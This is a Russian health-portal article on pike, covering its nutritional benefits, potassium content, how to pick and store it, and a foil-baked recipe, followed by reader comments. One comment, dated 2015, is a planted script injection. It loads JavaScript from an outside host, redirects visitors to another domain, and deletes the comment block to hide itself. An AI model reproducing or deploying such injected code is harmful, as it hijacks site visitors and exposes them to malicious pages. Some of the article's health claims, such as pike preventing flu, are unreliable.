Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Щука. Рыба, исполняющая ж...  >>  Щука. Рыба, исполняющая желания
 
Обратная связь
 

Щука. Рыба, исполняющая желания

Размер шрифта
21 ноября 2011 11:55
  • google_analytics: false
  • Нравится

Что в щуке вас убивает? Что может спасти? Как выбрать, как хранить и как правильно съесть щуку? 

Чем полезна щука?

  1. В мясе щуки много веществ, которые помогают бороться с бактериальными инфекциями. Поэтому для профилактики гриппа и простуды почаще готовьте эту рыбу.

  2. Щука богата белком. В отличие от мясного белка, который переваривается в среднем около 6 часов, рыбному достаточно всего 2 часов.

  3. Щука очень питательна, но жира в ней мало: всего 2-3%.

  4. В мясе щуки есть незаменимые аминокислоты. Метионин обеспечивает нормальный обмен веществ, активизирует действие гормонов, витаминов и ферментов. Триптофан преобразуется в организме человека в серотонин («гормон радости») и мелатонин («гормон сна»), тем самым спасая нас от депрессии, бессонницы и плохого настроения. Лизин необходим для синтеза мышечных волокон и роста. Поэтому щука – необходимый продукт для детского питания.

  5. Витамин В в щуке превращает углеводы в энергию и необходим для нормальной работы нервной системы и мышц.

  6. Щука богата калием. Этот микроэлемент снижает риск сердечно-сосудистых заболеваний, нормализует давление. Соли калия вытесняют натрий, который удерживает жидкость, и таким образом выводят из организма лишнюю воду, ликвидируют отеки и нормализуют давление.

Пьедестал почета по количеству калия

1. Щука – 261 мг.

2. Форель 260 – мг.

3. Сом – 240 мг.

Как выбрать

  • Посмотрите на жабры. Они должны быть красными. Если жабры побелели, такую рыбу брать не стоит.
  • Тушка свежей рыбы должна быть покрыта тонким слоем прозрачной слизи.
  • При надавливании на спинку рыбы не должно оставаться ямки. Долго не исчезающая ямка говорит о том, что рыбу неоднократно замораживали и размораживали.
  • Глаза у рыбы должны быть выпуклыми и прозрачными.
  • Хвост должен быть без закруглений вверх.
  • Мороженую рыбу следует покупать только в герметичной упаковке. Иначе рыба быстро высохнет.

Как хранить

Обмытую и выпотрошенную рыбу положить слоями в емкость, закрыть.  Хранить в холодильнике не более 2-3 дней.

В морозилке можно хранить рыбу не больше 3 месяцев.

Размораживать рыбу лучше всего в холодильнике, ни в коем случае не в воде – это портит ее вкусовые качества.

Как готовить

Щуку можно приготовить на пару или отварить в небольшом количестве воды. При этом рыбу нужно опускать в кипящую воду и варить на медленном огне 20 минут.

Рецепт фаршированной щуки:

  • Щуку почистить от чешуи и внутренностей, порезать на порционные кусочки
  • Полить лимонным соком и уложить на фольгу
  • Добавить специи: 1/2 лаврового листа, 2 горошины черного перца
  • Завернуть в фольгу
  • Запекать в духовке при температуре 150-200° C, через 20 минут приоткрыть фольгу и запекать еще 5-7 минут.

Видеосюжеты по теме: 
 

Щука. Исполняет желания

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:05

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Какая еда спасет вас от старческого маразма   Рыба спасет вас от артрита   Какая рыба спасет от рака? Ученые узнали – узнайте и вы!   Суперпродукты для женщин после 50  

Слайдшоу

1
Как развеселиться и похудеть? Как сохранить мозги в 40 лет
Еда против рака. Часть 1 Еда для красивой улыбки на фото
Еда для тех, кто постоянно в туалете Косметологи не работают: как не покрыться морщинами без них?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.